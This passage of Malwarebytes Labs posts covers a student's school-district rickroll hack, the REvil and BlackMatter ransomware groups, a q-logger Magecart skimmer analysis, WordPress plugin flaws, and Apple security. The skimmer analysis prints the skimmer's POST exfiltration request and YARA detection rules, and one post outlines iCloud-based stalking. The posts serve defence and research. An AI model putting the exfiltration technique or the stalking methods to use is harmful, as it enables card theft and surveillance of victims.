IT NEWS

A student at a high school in Cook County successfully hacked into the Internet-of-Things (IoT) devices of one of the largest school districts in Illinois, and gave everyone a surprise.

Minh (aka @WhiteHoodHacker on Twitter) who attends Elk Grove—a name that curiously resembles the home town of legendary anti-hero, Ash Williams—rickrolled the entire Township High School District 214.

In case you don’t know, rickrolling is an internet meme and a type of bait and switch prank wherein people are expecting one thing (clicking a link, for example) but instead are shown a clip of the 1987 song “Never Gonna Give You Up” by Rick Astley instead.

“This story isn’t one of those typical rickrolls where students sneak Rick Astley into presentations, talent shows, or Zoom calls,” Minh writes in his personal blog, “I did it by hijacking every networked display in every school to broadcast ‘Never Gonna Give You Up’ in perfect synchronization. Whether it was a TV in a hall, a projector in a classroom, or a jumbotron displaying the lunch menu, as long as it was networked, I hacked it!”

In the post, Minh further revealed that everything started during his freshman year, a time he admitted was “the beginning of my script kiddie phase”. With the help of friends, he was able to scan and find more than 8 million IPs in the internal district network. With that many IPs, he was bound to find devices that were exposed—and he certainly did.

Security cameras weren’t the only devices exposed to the student network. Minh was also able to have complete access to the district’s Internet Protocol Television (IPTV) system, a system that delivers multimedia content over IP-based networks. However, he wasn’t able to pull off the school prank he’d been planning until three years later.

Thanks to scheduling changes schools had to introduce in response to COVID-19 restrictions, Minh and his crew were able to pull off their scheme while avoiding disrupting classes and—yikes!—significant tests. Minh also said that they were prepared to abort the operation if they found that tests were taking place.

Once Minh had finished his prank, he sent a pentest report to the district’s technical supervisors.

“A few days after sending the report through the anonymous email account, we received an email response from D214’s Director of Technology,” Minh continued in his blog, “The director stated that because of our guidelines and documentation, the district would not be pursuing discipline. In fact, he thanked us for our findings and wanted us to present a debrief to the tech team! Later, he revealed the superintendents themselves reviewed and were impressed by our report!”

This is not a typical response from an organization when someone steps forward to show them their technological vulnerabilities. Many in the cybersecurity and tech industries know someone—or have themselves experienced—getting burned by groups or individuals for simply letting them know about what’s wrong with their systems and what they can do better. Let us not forget those two physical penetration testers getting arrested and jailed for doing a job they were hired to do.

Of course, something like this could happen even when there’s support for a bug bounty program. Take, for example, the case of drone-maker, DJI, who offered a bug bounty program but then decided to modify the terms of its scope and attack the security researcher who found major flaws in its product.

It’s no surprise, then, to see Minh’s peers expressed distrust against the D214 administration, even though the latter was open to the possibility of working with him and his crew to remediate and audit the problems.

“We decided I would reveal myself to present our debrief slides with the others remaining anonymous in the Zoom meeting,” Minh continues, “I had planned on announcing my involvement from the beginning since I wanted to publish this blog post. (I was also pretty much the prime suspect anyways.) But, just in case, I scheduled the debrief to take place after I graduated.”

At the end of the day, everything went “extremely well” for everyone involved. Suffice to say, Minh and his crew were one of the lucky ones to belong to a district that is objective enough to see past the prank and focus on the underlying technological vulnerabilities that made it possible to begin with.

The district has also displayed a stance that potentially opens great cybersecurity opportunities not only to Minh and his crew but also to those who aspire to do what they have done in the name of vulnerability disclosure (sans the pranks, of course). This is something that the industry welcomes and what is urgently needed.

“This has been one of the most remarkable experiences I ever had in high school and I thank everyone who helped support me,” Minh concluded.

Let us be the first to say that this fine lady is not the only one doing the happy dance.

—

* Image header is taken by Tom Tran

The post High school student rickrolls entire school district, and gets praised appeared first on Malwarebytes Labs.

With some pests you hope they never recover from a blow. It’s almost too good to be true, but one can hope. This is one of them. The REvil ransomware group has shut down their operation for the second time this year after losing control over their Tor-based domains.

Shutdown number 1

REvil’s first shutdown was in July 2021, after the gang successfully pulled off a supply chain attack against Managed Service Provider Kaseya. Shortly after this widespread incident all online traces of the gang weirdly seemed to vanish from the internet. In particular, the payment sites and data leak site were taken offline, along with the infrastructure for victims to make Bitcoin payments and get the decryption tools.

A lot of speculation ensued but there were no definite answers. Some said the group had joined forces with the DarkSide group to come back stronger under the name BlackMatter. Others claimed a victory for the good guys, hoping, almost against the odds, that some of the countermeasures taken by governments across the globe were starting to produce results. The Kaseya attack certainly had such an impact worldwide that it brought the full attention of international law enforcement to the group.

The group’s own story is that one of the group’s leaders took down the servers and disappeared with the group’s money, which left them unable to pay many of their affiliates.

The comeback

Unfortunately, a few months later, the REvil ransomware gang made a comeback, attacking new victims and publishing stolen files on a data leak site. The Tor payment and negotiation sites suddenly turned back on as well, with the timers for all prior victims reset to the day the infrastructure went offline.

Shutdown number 2

This time the shutdown looks to be a result of a hostile take-over. This week, the gang’s Tor payment portal and data leak blog were allegedly hijacked, and a spokesperson for the group said the server was compromised. The threat actor’s post on an underground forum said the group’s Tor services were hijacked and replaced to point to a different location.

And again speculation comes into play.

Allegedly, many affiliates were still waiting to be compensated for the losses they suffered when the group last disappeared. On top of that there are rumors that the developers of the ransomware hid a backdoor in their code, so that they can forego their affiliates and provide decryption keys directly to victims.

This doesn’t really make sense, in my view. But it is possible that a key exists that can decrypt the files of multiple, or maybe even all, victims. It wouldn’t be the first time.

Either way, cybercriminals that operate under covert identities rely on a strong base of trust if they want to continue to work together. And that trust in REvil seems to be at a low level, and may be totally gone depending on how this disappearing act turns out.

torcc file

In all the reports about the server takeover there is a mention of the torcc file. This is a text file that holds the configuration details for a Tor instance. The spokesperson for REvil claimed that the path to their hidden service was deleted and the attacker raised their own, hoping that they would go there. Basically, the hidden service in the torcc file is what points visitors of an .onion site to the correct webserver. Being able to alter that file requires a high level of access.

So, who do you think is responsible? Let us know in the comments. I have prepared a few choices, but obviously you can add your own options.

Option 1: An angry affiliate that has had enough.

Option 2: It was an inside job and yet another admin fled the scene with the money.

Option 3: Law enforcement shut down the operation and is now after the people behind it.

Option 4: A white hat hacker that wishes to remain anonymous for safety’s sake.

Option 5: It was just a glitch and they will be back next week, maybe under another name.

Option 6: It was the former group’s leader who was not amused to learn about the comeback.

Wink if you are not guessing, but know for a fact.

The post REvil ransomware disappears after Tor services hijacked appeared first on Malwarebytes Labs.

Despite promises made by the BlackMatter ransomware gang about which organizations and business types they would avoid, multiple US critical infrastructure entities have been targeted. Now, the Federal Bureau of Investigation (FBI), in conjunction with the Cybersecurity and Infrastructure Security Agency (CISA), and the National Security Agency (NSA) have issued a warning on BlackMatter ransomware, and tips on how to avoid it.

BlackMatter ransomware

BlackMatter is a ransomware-as-a-service (RaaS) that allows the developers to profit from cybercriminal affiliates who deploy it against victims. BlackMatter is a possible rebrand of DarkSide, and has some similarities to REvil. According to its own site:

 “The project has incorporated in itself the best features of DarkSide, REvil and LockBit”

Promises, promises

On their own leak site, the BlackMatter gang claim not to attack companies belonging to the following six industries, with the caveat that if or when any companies in these industries do get hit, such victims should simply ask for a free decryption:

• Hospitals
• Critical infrastructure facilities (nuclear power plants, power plants, water treatment facilities)
• Oil and gas industry (pipelines, oil refineries)
• Defense industry
• Non-profit companies
• Government sector

A recent high-profile victim of BlackMatter was Japan-headquartered manufacturer Olympus which, among others, produces medical equipment. BlackMatter is also named as the likely culprit behind the cybersecurity incident affecting US farmers’ cooperative NEW Cooperative.

All in all, the BlackMatter group have performed attacks against several US-based organizations and demanded ransoms ranging from 80 thousand to 15 million US dollars in Bitcoin and Monero.

How to avoid BlackMatter ransomware

CISA alert lists technical details in the form of Tactics, Techniques, and Procedures (TTPs) based on the MITRE ATT&CK for Enterprise framework, detection signatures, and mitigations.

Most of the mitigation strategies will look very familiar to our regular readers, but it’s always worth repeating them. And you may spot some new ones.

• Use strong and unique passwords. Passwords shouldn’t be reused across multiple accounts or stored on a system where an adversary may gain access. Devices with local administrative accounts should implement a password policy that requires strong, unique passwords for each individual administrative account.
• Implement and require Multi-Factor Authentication (MFA) where possible and especially for webmail, virtual private networks, and accounts that access critical systems.
• Patch and update. Keep all operating systems and software up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.
• Limit access to resources over the network. Remove unnecessary access to administrative shares, restrict privileges to only the necessary service or user accounts and perform continuous monitoring for anomalous activity. Use a host-based firewall to only allow connections to administrative shares via Server Message Block (SMB) from a limited set of administrator machines.
• Implement network segmentation and traversal monitoring. This will hinder an adversary from learning the organization’s enterprise environment. Many attackers use system and network discovery techniques for network and system mapping.
• Implement time-based access for accounts set at the admin-level and higher. BlackMatter operatives have been noticed to use compromised credentials during non-business hours, which allows them to go undetected for longer periods.
• Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities that run from the command line.
• Implement and enforce backup and restoration policies and procedures. Doing backups right is not as easy as some may think. Make sure they are recent, cannot be altered or deleted, and cover the entire organization’s data infrastructure.

Furthermore, CISA, the FBI, and NSA urge critical infrastructure organizations to apply the following additional mitigations to reduce the risk of credential compromise:

• Disable the storage of clear text passwords in LSASS memory.
• Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.
• Implement Credential Guard for Windows 10 and Server 2016.
• Minimize the Active Directory (AD) attack surface to reduce malicious ticket-granting activity. Ticket Granting services can be used to obtain hashed credentials that attackers attempt to crack or use in pass-the-hash methods.

Bad things happen

If, despite your best efforts, a ransomware incident occurs at your organization, CISA, the FBI, and NSA say US-based organizations should:

• Follow the Ransomware Response Checklist on p. 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware.
• Report incidents immediately to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the US Secret Service at a US Secret Service Field Office.
• Apply incident response best practices found in the joint Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Stay safe, everyone!

The post Protect yourself from BlackMatter ransomware: Advice issued appeared first on Malwarebytes Labs.

This blog post was authored by Jérôme Segura

Although global e-commerce is continuing to grow rapidly, it seems as though Magecart attacks via digital skimmers have not followed the same trend. This is certainly true if we only look at recent newsworthy attacks; indeed when a victim is a large business or popular brand we typically are more likely to remember it.

From a research standpoint, we have observed certain shifts in the scope of attacks. For instance, the different threat actors are continuing to expand and diversify their methods and infrastructure. In a blog post about Magecart Group 8, we documented some of the various web properties used to serve skimmers and exfiltrate stolen data.

But at the end of the day, we only know about attacks that we can see, that is until we discover more. Case in point, one particular skimmer identified as q-logger, has been active for several months. But it wasn’t until we started digging further that we realized how much bigger it was.

Q-logger origins

This skimmer was originally flagged by Eric Brandel as q-logger. Depending on how much you enjoy parsing JavaScript you may have a love/hate relationship with it. The code is dense and using an obfuscator that is as generic as can be, making identification using signatures challenging.

This skimmer can be found loaded directly into compromised e-commerce sites. However, in the majority of cases we found it loaded externally.

The loader

The loader is also an encoded piece of JavaScript that is somewhat obscure. It is injected inline within the DOM right before the text/x-magento-init tag or separated by copious amounts of white space.

One way to understand what the code does is by using a debugger and setting a breakpoint at a particular spot. It is best to either use an already compromised site or bypass the check for the address bar (onestepcheckout).

We can now see the purpose of this script: it is to load the proper skimmer.

The skimmer

As mentioned previously, the skimmer is quite opaque and makes debugging effort difficult and lengthy.

To cut to the chase, the skimmer exfiltrates data via a POST request to the same domain name where the JavaScript is loaded from.

POST https://filltobill5.casa/ HTTP/1.1
Host: filltobill5.casa
[obfuscated data]

Threat actor and victims

We were able to collect a few indicators from the threat actor behind this campaign. One was the use of netmail.tk, also observed by Luke Leal, for registering skimmer domains.

Although there are clusters of domains from the same registrant, we see that they are trying to compartmentalize their infrastructure and hide the hosting provider’s true IP address. They also register domains en masse, which allows them to defeat traditional blocklists.

We don’t have a good estimate of how prevalent this campaign is, but we certainly run into it regularly while monitoring e-commerce sites for malicious code. The victims are various small businesses with an online shop running Magento.

Conclusion

The large number of e-commerce sites that are running outdated versions of their CMS is a low hanging fruit for threat actors interested in stealing credit card data. In a sense, there is always a baseline of potential victims that can be harvested.

And every now and again, some opportunities appear. They could be as simple as a zero-day in a plugin or CMS, or maybe an entry point into more valuable targets via a supply-chain attack.

Threat actors are always ready to pounce on those and may well have established their infrastructure ahead of time, waiting for such opportunities.

Malwarebytes customers are protected against this skimmer.

Indicators of Compromise

Email addresses (registrant)

• wxugvvvu@netmail[.]tk
• isgskpys@netmail[.]tk
• zulhqmnr@netmail[.]tk
• yzzljjkmc@emlhub[.]com
• foyiy11183@macosnine[.]com

Skimmer domains

Skimmer URLs

YARA rules

rule qlogger_loader_WebSkimmer : Magecart WebSkimmer
{
    meta:
        author = "Malwarebytes"
        description = "Magecart (q-logger loader)"
        source = "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/"
        date = "2021-10-19"

    strings:
        $regex = /"load",function(){(function(){/
        $regex2 = /while(!![]){try{var/
        $regex3 = /(w['shift']());}}}/

    condition:
        all of them
}

rule qlogger_skimmer_WebSkimmer : Magecart WebSkimmer
{
    meta:
        author = "Malwarebytes"
        description = "Magecart (q-logger skimmer)"
        source = "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/"
        date = "2021-10-19"

    strings:
        $regex = /return(!!window[w{2}(/
        $regex2 = /w()&&console[/

    condition:
        all of them
}

The post q-logger skimmer keeps Magecart attacks going appeared first on Malwarebytes Labs.

Multiple vulnerabilities have been found in the popular WordPress plugin WP Fastest Cache during an internal audit by the Jetpack Scan team.

Jetpack reports that it found an Authenticated SQL Injection vulnerability and a Stored XSS (Cross-Site Scripting) via Cross-Site Request Forgery (CSRF) issue.

WP Fastest Cache

WP Fastest cache is a plugin that is most useful for WordPress-based sites that attract a lot of visitors. To save the RAM and CPU time needed to render a page, the plugin creates caches of static html files, so that the pages do not need to be rendered for every visit separately.

This results in a speed improvement which in turn improves the visitor experience and the SEO ranking of the site. WP Fastest Cache is open source software and comes in free and paid versions.

WP Fastest Cache currently has more than a million active installations according to its WordPress description page.

Authenticated SQL Injection vulnerability

This particular vulnerability can only be exploited on sites where the Classic Editor plugin is both installed and activated.  Classic Editor is an official plugin maintained by the WordPress team that restores the previous (“classic”) WordPress editor and the “Edit Post” screen.

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database, and has become a common issue with database-driven web sites. This bug could grant attackers access to privileged information from the affected site’s database, such as usernames and (hashed) passwords.

Stored XSS issue

Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This one is listed as CVE-2021-24869 and received a CVSS score of 9.6 out of 10.

Cross-site request forgery (CSRF), also known as one-click attack or session riding, is a type of exploit of a website where unauthorized commands are submitted from a user that the web application trusts. A CSRF attack forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering, an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is an administrative account, CSRF can compromise the entire web application.

Cross-Site Scripting (XSS) is a vulnerability that exploits the client environment within the browser, allowing an attacker to inject arbitrary code onto the target’s instance and environment. Basically the application does not process received information as intended. An attacker can use such a vulnerability to create input that allows them to inject additional code into a website.

In this case it was possible due to a lack of validation during user privilege checks. The plugin allowed a potential attacker to perform any desired action on the target website. Hence, an adversary could even store malicious JavaScript code on the site. Which in case of an online shop could be a web skimmer designed to retrieve customer payment information.

Mitigation

Website owners should download and install the latest version of the WP Fastest Cache plugin (version 0.9.5) in which these vulnerabilities have been fixed. Jetpack recommends users update as soon as possible, as both vulnerabilities have a high technical impact if exploited. At the time of writing 650,000 instances were still on a vulnerable version.

For more general tips on how to secure you CMS, we recommend reading our article on How to secure your content management system.

Stay safe, everyone!

The post Multiple vulnerabilities in popular WordPress plugin WP Fastest Cache appeared first on Malwarebytes Labs.

On October 12, after interviewing US Secretary of Homeland Security Alejandro Mayorkas, USA TODAY’s editorial board warned its readers about a dangerous new form of cyberattack under this eye-catching headline:

“The next big cyberthreat isn’t ransomware. It’s killware. And it’s just as bad as it sounds.”

But while “killware” sounds scary, the term itself is unhelpful when describing the many types of cyberattacks that, like USA TODAY wrote, “can literally end lives,” and that’s because nearly any type of hack, no matter the intention, can result in death. Complicating this is the fact that the known cyberattacks that have allegedly led to deaths already have a category: ransomware. Further, the term “killware” can confuse antivirus customers seeking reassurance that their own vendor is protecting them from this threat, but antivirus vendors do not stop attacks based on intent, they stop attacks based on method.

As an example, Malwarebytes Director of Threat Intelligence Jerome Segura said that Malwarebytes does not have any specific Indicators of Compromise (IOCs) for “killware” and that, instead, “we continue to protect our customers with our different layers of protection.”

“Many of our layers are ‘payload indifferent’ meaning we block the attack regardless of what it is meant to do (it could be to ransom, it could be to destroy MBRs, or anything in between). We don’t focus on that end payload so much as blocking how an attacker might get there.”

Think of it like this: Locksmiths don’t develop one set of locks to prevent robberies and another set of locks to prevent assault—they develop locks to primarily prevent break-ins, no matter what an invader has planned.

“Killware” is too loose a term to be useful

In February, an employee for a water treatment facility in Oldsmar, Florida, saw the mouse on his computer screen moving around without his involvement. The employee, according to Wired, thought this was somewhat normal, as his workplace used a tool that allowed for remote employees and supervisors to take control of computers at the plant itself. But when the employee saw the cursor move around a second time in the same day, he reportedly saw an attempt by an intruder to maliciously increase the chemical levels at the water treatment facility, upping the amount of sodium hydroxide—which can be corrosive in high quantities—to dangerous levels.

In USA TODAY’s article about “killware,” Secretary Mayorkas pointed directly to this cyberattack. It was different than other cyberattacks, Mayorkas said, because it “was not for financial gain but rather purely to do harm.”

But if the attack was truly meant to harm or even kill people—which it very well may have—what good does it do to associate it with this new “killware” category? “Killware,” after all, still has the “ware” suffix in it, meaning that it should have at least some relationship to a piece of software, or a program, or perhaps many lines of code.

The breach at the Oldsmar water plant, however, may have involved no malware at all. No spear-phishing attack against an executive’s personal device. No surreptitious implantation of spyware to collect admin credentials. No initial breach and lateral movement. Instead, there’s a frustratingly simpler theory: Reused passwords across the entire water treatment plant for a crucial, remote access tool.

Following the attack at the Oldsmar facility, the state of Massachusetts issued a cybersecurity advisory notice to public water suppliers, detailing a few basic cybersecurity flaws that may have played a role in the attack. As the state said in its advisory:

“The unidentified actors accessed the water treatment plant’s [supervisory control and data data acquisition (SCADA)] controls via remote access software, TeamViewer, which was installed on one of several computers the water treatment plant personnel used to conduct system status checks and to respond to alarms or any other issues that arose during the water treatment process. All computers used by water plant personnel were connected to the SCADA system and used the 32-bit version of the Windows 7 operating system. Further, all computers shared the same password for remote access and appeared to be connected directly to the Internet without any type of firewall protection installed.”

Further, in testifying about the attack to the House Committee on Homeland Security, former Cybersecurity and Infrastructure Security Agency Director Chris Krebs said that the attack was “very likely” caused by “a disgruntled employee,” wrote Washington Post report Ellen Nakashima.

So, the attack may have come from a former employee, who may already have possessed the remote access credentials, which were already the same credentials for every user at the water treatment facility, which also lacked firewall protections.

What part of this attack chain, then, should be labeled “killware”?

Truthfully, none, and that’s because labeling anything as “killware” ignores the basic facts about cybersecurity defenses. Cybersecurity vendors do not categorize or identify attacks based on their final intentions. A reused password is a bad idea, but it isn’t a bad idea that can only be used to harm people. Lacking firewalls protections, similarly, are poor practice, but they aren’t poor practice that can only be used to threaten people’s lives.

In fact, even if cybersecurity vendors wanted to categorize attacks by intention, how could they?

Earlier this year, a bereaved mother filed a lawsuit against a hospital in Alabama that, she claims, failed to provide adequate care to her baby because the hospital was hamstrung by a ransomware attack. The hospital’s inability to properly care for her baby, the lawsuit said, eventually led to her child’s death. Nearly a year prior, a patient’s death during a ransomware attack on a German hospital brought similar allegations—though no lawsuits—but those allegations fell apart in the months following the attack, as the chief public prosecutor tasked with investigating the attack concluded that, even without the treatment delays caused by the ransomware attack, the patient likely would have died.

Neither of these situations involved hackers whose end goal was purely to harm or kill people. The intent, as is clear in almost every single ransomware attack, is to get paid. Ransomware attacks on hospitals, specifically, may use the threat of death as leverage for their end goal, but even the threat of death does not alter the end goal, which is to get paid potentially millions of dollars. If we even tried to use the “killware” term on these attacks, they wouldn’t fit, despite the end result.

Finally, labeling attacks as “killware” does a disservice to both cybersecurity vendors and the public because, if “killware” is a term that requires understanding an attacker’s intent, then “killware” must be applied after an attack has already happened. Good cybersecurity tools don’t just clean up an attack after it’s happened, they actually prevent attacks from happening in the first place. How then, possibly, could a cybersecurity provider prevent an attack that, by its definitional nature, cannot be determined until it’s already happened?

Remember the human

“Killware,” as a term, helps no one and it only increases panic. It conjures up images of hackers gone amok and dark-web-trained serial killers who work with nothing but a laptop—images that might actually be a better fit for over-dramatized procedural cop dramas on TV.

Importantly, “killware” fails to recognize that, already, attacks on computers, machines, devices, and networks have a dramatic impact on the people who use them. Ransomware attacks already cause tremendous emotional and mental harm to the people tasked with cleaning them up. Online scams already ruin people’s lives by emptying their bank accounts.

We do not need a new term that focuses even more on the attacker in cyberthreats. What we need is to remember that cyberattacks, already, are attacks against people, no matter their intent.

The post “Killware”: Is it just as bad as it sounds? appeared first on Malwarebytes Labs.

Last week on Malwarebytes Labs

• Google warns some users that FancyBear’s been prowling around
• Inside Apple: How macOS attacks are evolving
• The joy of phishing your employees
• ExpressVPN made a choice, and so did I: Lock and Code S02E19
• Update now! Apple patches another privilege escalation bug in iOS and iPad OS
• Ransom disclosure act would mandate ransomware payment disclosing
• Patch now! Microsoft fixes 71 Windows vulnerabilities in October patch Tuesday
• “Free Steam Game” scams on TikTok are Among Us
• Inside Apple: How Apple’s attitude impacts security
• Adblocker promises to block ads, injects them instead
• What is an .exe file? Is it the same as an executable?

Other cybersecurity news

• VirusTotal reports 95% of ransomware spotted targets Windows (Source: The Register)
• Popular Makerbot site breached (Source: Troy Hunt)
• Leave no trace: how a teenage hacker lost himself online (Source: The Guardian)
• “Clumsy” BlackByte malware reuses crypto keys (Source: Dark Reading)
• Botnet gang steals millions with surprisingly simple trick (Source: ZDNet)
• Minecraft is a hotbed for malware: here’s why (Source: Make Use Of)
• Prioritizing cybersecurity awareness training in the wake of phishing attacks (Source: Infosecurity Magazine)
• FBI, CISA warn water facility operators of ongoing malicious cyber activity (Source: Cyberscoop)

Stay safe, everyone!

The post A week in security (Oct 11 – Oct 17) appeared first on Malwarebytes Labs.

You may often see .exe files but you may not know what they are. Is it the same as an executable file? The short answer is no. So what’s the difference?

What is an .exe file?

Exe in this context is a file extension denoting an executable file for Microsoft Windows. Windows file names have two parts. The file’s name, followed by a period followed by the extension (suffix). The extension is a three- or four-letter abbreviation that signifies the file type.

I hear some advanced users moaning in the back of the class, because there are many exceptions. But as a general rule, everything behind the last period in the filename is the extension. For example, because Windows default settings don’t always show the extension of a file, some malware authors name their files really_trustworthy.doc.exe, hoping that the user’s Windows settings cause it to hide the .exe part and have the user believe this is a document they can safely open.

By using this trick in filenames like YourTickets.pdf.exe, malware like Cryptolocker was mailed to millions of potential victims. The icon was the same as legitimate pdf files so it was hard for some receivers to spot the difference. Usually the mails pretend to be from a worldwide courier service, but they also mask themselves as a travel agency.

Wait, what? Is a .exe file a virus?

An .exe file can be a virus, but that is certainly not true for all of them. In fact, the majority are safe to use or even necessary for your Windows system to run. It all depends on what is in an .exe file. Basically .exe files are programs that have been translated into machine code (compiled). So, whether an .exe file is malicious or not depends on the code that went into it.

Most of the normal .exe file will adhere to the Portable Executable (PE) file format. The name “Portable Executable” refers to the fact that the format is not architecture specific, meaning they can be used in 32-bit and 64-bit versions of Windows operating systems. By this standard format the actual code can be found in the .text section(s) of an executable.

How do I open an .exe file?

This is an ambiguous question that deserves two answers.

To use an .exe file you can usually just double click it. You may get a security prompt before it actually runs, but technically you will have initiated running the program inside the .exe file.

If you want to look what is inside an .exe file then that is a much more complicated question. It depends why you want to look inside. Examining files without running them is called static analysis, whereas dynamic analysis is done by executing the program you want to study. As mentioned before, .exe files have been compiled by machine code, so you need special programs to do static analysis. The most well-known program to do this is IDA Pro, which translates machine code back to assembly code. This makes an .exe more understandable, but it still takes a special skillset to make the step from reading assembly code to understanding what a program does.

Difference to an executable

The definition of an executable file is: “A computer file that contains an encoded sequence of instructions that the system can execute directly when the user clicks the file icon. Executable files commonly have an .exe file extension, but there are hundreds of other executable file formats.

So, every true .exe file is an executable but not every executable file has the .exe extension. We mentioned before that .exe files are commonly intended for use on systems running on a Windows OS . That doesn’t mean you can’t open an .exe file on, say, your Android device, but you will need an emulator or something similar to make that happen. The same is true if you are wondering how to open an .exe file on a system running macOS.

Are .exe files safe to open?

It’s not safe to open any .exe file you encounter.. Just like any other file, it depends on the source of the file as to whether you can trust it or not. If you receive an .exe file from an untrusted source, you should use your anti-malware scanner to scan the file and find out whether it is malicious or not. If you’re still in doubt, get a second opinion by uploading it to VirusTotal to check if any of the participating vendors detects the file.

Can an .exe file run itself?

Any executable file needs a trigger to run. A trigger can be a user double-clicking the file, but it can also be done from the Windows registry, for example when Windows starts up. So the closest an .exe file can come to running itself is by creating a copy in a certain location and then point a startup registry key to that location. Or by dropping the copy or a shortcut in the Startup folder, since all the files in that folder get run when Windows starts.

But there are other triggers. For example, there are Autoplay and Autorun options in Windows that get executed at the connection of, for example, USB devices. Malware can be hidden in the firmware of devices that get executed once the device is connected, etc. Which is one reason not to trust USB sticks you find in a parking lot or that get handed out as swag.  You do not want to be responsible for the next cyber incident in your organization, right?

Other executable files

All the potentially bad stuff I have written about .exe files is just as true for almost all other executable files, so it’s not true that .exe files are bad by nature or that they should be trusted the least. The same dangers can be associated with other executable files. Unfortunately, other operating systems have their own viruses which use their own executable files, but that’s for another day.

Stay safe, everyone!

The post What is an .exe file? Is it the same as an executable? appeared first on Malwarebytes Labs.

Last week saw the fourth occurrence of the Objective by the Sea (OBTS) security conference, which is the only security conference to focus exclusively on Apple’s ecosystem. As such, it draws many of the top minds in the field. This year, those minds, having been starved of a good security conference for so long, were primed and ready to share all kinds of good information.

Because of the control it exerts over its ecosystem, understanding Apple’s attitude to security—and it’s willingness to act as a security “dance partner”—are crucial to securing Apple systems, and developing Apple security software.

I was at OBTS, and this is what I learned about Apple’s current attitude to privacy, security, and communication.

Apple’s not great at working with security researchers

It’s no great surprise to anyone that Apple has a rocky relationship with many security researchers. Years ago, well-known researcher and co-author of the book “The Mac Hacker’s Handbook”, Charlie Miller, figured out how to get a “malicious” proof-of-concept app into the App Store, and reported this to Apple after having achieved it. His reward? A lifetime ban from Apple’s developer program.

This says a lot about Apple’s relationship with third-party security researchers. Unfortunately, things haven’t changed much over the years, and this is a constant cause of strains in the relationship between Apple and the people trying to tell it about security issues. During the conference, Apple got booed several times by the audience following reports from OBTS speakers of mismanaged bug reports and patches.

What is it that Apple has been accused of doing? There have been multiple offenses, unfortunately. First, a number of security researchers have reported getting significantly lower bug bounties from Apple’s bug bounty program than they should have earned. For example, Cedric Owens (@cedowens) discovered a bug in macOS that would allow an attacker to access sensitive information. Apple’s bug bounty program states that such bugs are worth up to $100,000. They paid Cedric $5,000, quibbling over the definition of “sensitive data.” (For the record: Cedric’s bug absolutely gave access to what any security researcher or IT admin would consider sensitive data… more on this later.)

Other researchers have reported similar issues, with significantly reduced payments for bugs that should have qualified for more. Further, there is often a significant wait for the bounties to be paid, after the bugs have been fixed—sometimes six months or more. Apple also had a tendency to “go silent,” not responding to researchers appropriately during the process of handling bug reports, and has repeatedly failed to properly credit researchers, or even mention important bugs, in its release notes.

All this leaves a sour taste in many researchers’ mouths, and some have decided to either publicly release their vulnerabilities—as in the case of David Tokarev, who published three vulnerabilities after Apple failed to act on them for many months—or to sell those vulnerabilities on the “gray market,” where they can earn more money.

Keep in mind here that Apple is one of the richest companies in the world. Paying out the highest prices for security bugs would be pennies compared to Apple’s yearly profits.

A patching myth busted

It has long been a rule of thumb that Apple supports the current system, plus the previous two, with security-related patches. Currently, that would mean macOS 11 (Big Sur), plus macOS 10.15 (Catalina) and macOS 10.14 (Mojave).

However, this is not something Apple has ever stated. I honestly couldn’t tell you where this idea came from, but I’ve heard it echoed around the Mac community for nearly two decades. Although researchers and some IT admins have questioned for years whether this “conventional wisdom” is actually true, many believe it. Josh Long (@theJoshMeister) did a lot of research into this, and presented his findings at the conference.

There have been many bugs in the last year that were fixed for only some of the “current three” systems. This was known to a degree, but Josh’s data was eye-opening as to the extent to which it was happening. Folks who were aware of some of these discrepancies theorized that some of these bugs may not have affected all three systems, and that may explain why patches were never released for them.

However, Josh was able to track down security researchers who had found these bugs, and confirmed that, in at least one case, Mojave was affected by a bug that had been patched in Catalina and Big Sur only. Thus, we know now that this rule of thumb is false. This confirmed many people’s suspicions, but there are many others who have continued to believe in the myth. It’s echoing around Apple’s own forums, among other places.

The fact that this speculation persisted for years, and that research was even necessary to prove it false, is a major failing on the part of Apple. Microsoft tells its users whether a system is still supported or not. Why can’t Apple do the same? Staying silent, and allowing people to believe the myth of the “three supported systems,” means that some machines are left vulnerable to attack.

At this point, you should assume that only the most current system—Big Sur at the moment, but soon to be Monterey—is the most secure system, and that there may be known vulnerabilities left unpatched in all others. This means you should feel a bigger sense of urgency at upgrading when a new system like Monterey comes out, rather than waiting for months to upgrade.

Apple loves privacy, but you can still be tracked

Apple is well-known for its strong stance on privacy. (I say that as if Apple isn’t well-known otherwise, and you might say, “What’s the name of that company that really likes privacy?”) However, we heard plenty of talk about data access and tracking despite this. (Or maybe because of Apple’s views on privacy, it’s more interesting when we learn how to violate it?)

Eva Galperin (@evacide) talked about how stalkers can track you on iOS, despite Apple’s protections. From a technical perspective, spyware—defined as software running on the device that surveils and tracks you—is not much of a thing, because of Apple’s restrictions on what apps can do, plus the fact that you can’t hide an app on iOS.

However, Eva showed how spyware companies are nonetheless capable of enabling you to creep on your ex. Many of these companies provide web portals where you enter your stalking victim’s Apple ID and password, which enables tracking via iCloud’s features. iCloud email can be read, as well as notes, reminders, files on iCloud Drive, and more. Find My can provide the victim’s location. Photos synced up to iCloud can be viewed. And so on.

You might say, “But wait! This requires me to know my victim’s Apple ID password, and have access to their two-factor authentication! Therefore, this is a non-issue.”

However, keep in mind that in many domestic abuse situations, the attacker has exactly this kind of information. Further, Apple ID credentials can easily be found in data breaches, for potential victims who have used the same password for Apple ID that they’ve used elsewhere, and there are techniques attackers can use to capture two-factor authentication codes.

